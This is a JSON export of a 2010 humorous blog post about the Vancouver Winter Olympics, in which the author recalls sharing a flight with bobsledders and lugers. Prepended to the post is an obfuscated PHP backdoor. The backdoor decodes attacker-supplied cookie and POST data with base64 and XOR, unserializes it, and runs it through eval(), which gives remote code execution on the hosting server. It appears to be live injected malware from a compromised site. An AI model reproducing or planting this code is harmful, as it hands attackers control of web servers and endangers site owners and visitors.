$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":852,"date":"2010-02-14T10:43:21","date_gmt":"2010-02-14T14:43:21","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=852"},"modified":"2010-02-14T10:43:51","modified_gmt":"2010-02-14T14:43:51","slug":"loving-the-lympics","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=852","title":{"rendered":"Loving the ‘Lympics"},"content":{"rendered":"

The world has come to Vancouver as the Winter Olympics are under way.<\/p>\n

I usually just sit back and cheer for the Americans, but I have a different rooting interest this time around.<\/p>\n

I traveled to Vancouver for work last November and shared a plane back with a bunch of athletes from around the world who will compete in bobsled, luge and skeleton over the next few weeks. In fact, I was one of the few people on the plane who did not voluntarily hurtle themselves down a sheet of ice for a living.<\/p>\n

About five years ago, as we prepared for the last Winter Olympics, I wrote a column<\/a> about how I thought I would fit in perfectly on the bobsled team. The only problem was that the guys who usually did that sort of thing were world-class athletes.<\/p>\n

I learned that lesson that first-hand on the plane that day. I sat next to a burly Latvian who made it pretty clear he wanted a quiet ride from Vancouver to Salt Lake. He looked way more like a bobsledder than I did. Same principle applies to the skeleton racer from New Zealand across the aisle.<\/p>\n

I now realize I may have flown with Nodar Kumaritashvili, the luger from Georgia killed earlier this week<\/a>. Most of the athletes were from former Soviet republics so it’s highly likely he was there. That made the accident even more sad to me. <\/em><\/p>\n

I got the message pretty clearly. Even though I would have the benefit of gravity like them, I couldn’t just waltz in and compete in the Olympics. I accepted the death of my dream with grace.<\/p>\n

So I will have some new interest in those events other than trying to figure out which team could use me on their team if I could finagle new citizenship. Even though you would think suiting up for New Zealand in skeleton is some kind of joke, that’s not the case.<\/p>\n

These kind of little discoveries make the Olympics so interesting to me. The broadcasts give people an opportunity to learn so many new things, like how Estonia is actually a former part of the Soviet Union and not a country founded by Mick Jagger and Keith Richards.<\/p>\n

Just think how only a decade or so ago, pretty much none of us knew a thing about curling. We had never seen the sport and laughed at the odd sight of players scrubbing the ice in front of a rock that someone pushed toward the target.<\/p>\n

Now, we marvel at the precision of the players while laughing at the odd sight of players scrubbing the ice in front of a rock that someone pushed toward the target.<\/p>\n

Unfortunately, I didn’t fly with anyone on the curling team. At least I don’t think I did because I wouldn’t recognize a curler from a courier.<\/p>\n

Over the next few weeks, I’ll try to change that as I learn more and more about the athletes competing in the Olympics. I will be front and center when the bobsled, luge and skeleton races take place so I can see if my Latvian friend takes home the gold.<\/p>\n

I still don’t know if I will try to talk to him on the plane though if we run into each other again. He looked pretty mean.<\/p>\n","protected":false},"excerpt":{"rendered":"